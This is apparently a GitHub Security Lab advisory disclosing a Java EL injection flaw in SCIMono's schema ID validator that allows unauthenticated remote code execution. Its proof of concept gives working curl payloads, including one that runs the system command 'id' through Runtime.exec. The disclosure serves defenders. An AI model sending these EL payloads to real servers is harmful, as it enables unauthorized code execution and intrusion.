Coordinated Disclosure Timeline

Summary

A Server-Side Template Injection was identified in SCIMono enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability.

Product

SCIMono

Tested Version

0.0.18

Details

Remote Code Execution - JavaEL Injection

It is possible to run arbitrary code on the server running SCIMono Server by injecting arbitrary Java Expression Language (EL) expressions.

SCIMono uses Java Bean Validation (JSR 380) custom constraint validators such as SchemaIdValidator. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate(), they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. SchemaIdValidator and other custom constraint validators validate attacker controlled strings which are included in the custom constraint error validation message:

public class SchemaIdValidator implements ConstraintValidator<ValidSchemaId, String> {
  private static final Pattern SCHEMA_NAME_ALLOWED_PATTERN = Pattern.compile("(^[a-zA-Z])(\\w)+");

  @Override
  public boolean isValid(String schemaId, ConstraintValidatorContext context) {
    return isValidSchemaId(schemaId, context) && isValidIdentifierName(schemaId, context);
  }

  private boolean isValidSchemaId(final String schemaId, ConstraintValidatorContext context) {
    if (SchemasCallback.isCustomSchema(schemaId)) {

      return true;
    }
    ValidationUtil.interpolateErrorMessage(context, generateViolationMessage(schemaId));

    return false;
  }

  ...

  private String generateViolationMessage(String attributeName) {
    return String.format("The attribute value \"%s\" has invalid value!", attributeName);
  }

  ...
}

Where ValidationUtil.interpolateErrorMessage() is defined as:

  public static void interpolateErrorMessage(ConstraintValidatorContext context, String errorMessage) {
    context.disableDefaultConstraintViolation();
    context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
  }

PoC

In order to reproduce this vulnerability you can use the following steps:

  1. Modify the SCIMono example server in the following way: 1.1. Add org.glassfish.jersey.ext:jersey-bean-validation dependency so Jersey enforces Bean Validation 1.2. Add a dummy Schemas callback. eg:
import com.sap.scimono.callback.schemas.SchemasCallback;
import com.sap.scimono.entity.schema.Attribute;
import com.sap.scimono.entity.schema.Schema;

import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.Response;
import java.util.List;

public class Schemas implements SchemasCallback {
    public Schemas() {
    }

    public Schema getCustomSchema(String schemaId) {
        return null;
    }

    public void createCustomSchema(Schema schema) {
    }

    public List<Schema> getCustomSchemas() {
        return null;
    }

    public void deleteCustomSchema(String schemaId) {
    }

    public boolean isValidSchemaName(String schemaName) {
        return true;
    }

    public Attribute getAttribute(String path) {
        return null;
    }
}

Add the following method to SimpleServerApplication:

    @Override
    public SchemasCallback getSchemasCallback() {
        return new Schemas();
    }
  1. Force a SchemaId parse error by using a non-existing Id and add an Expression Language payload such as `${1+1}:
$> curl 'http://localhost:8080/scim/Schemas/$%7B1+1%7D'

The response will contain the result of the EL evaluation:

[ {
  "status" : "400",
  "schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
  "detail" : "The attribute value \"2\" has invalid value!"
} ]

You can run arbitrary system commands such as id. Eg:

$> curl "http://localhost:8080/scim/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"

which will get you:

[ {
  "status" : "400",
  "schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
  "detail" : "The attribute value \"java.lang.UNIXProcess@3b1d4c18\" has invalid value!"
} ] 

The java.lang.UNIXProcess part proves that the process was run.

Impact

This issue leads to Remote Code execution

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-227 in any communication regarding this issue.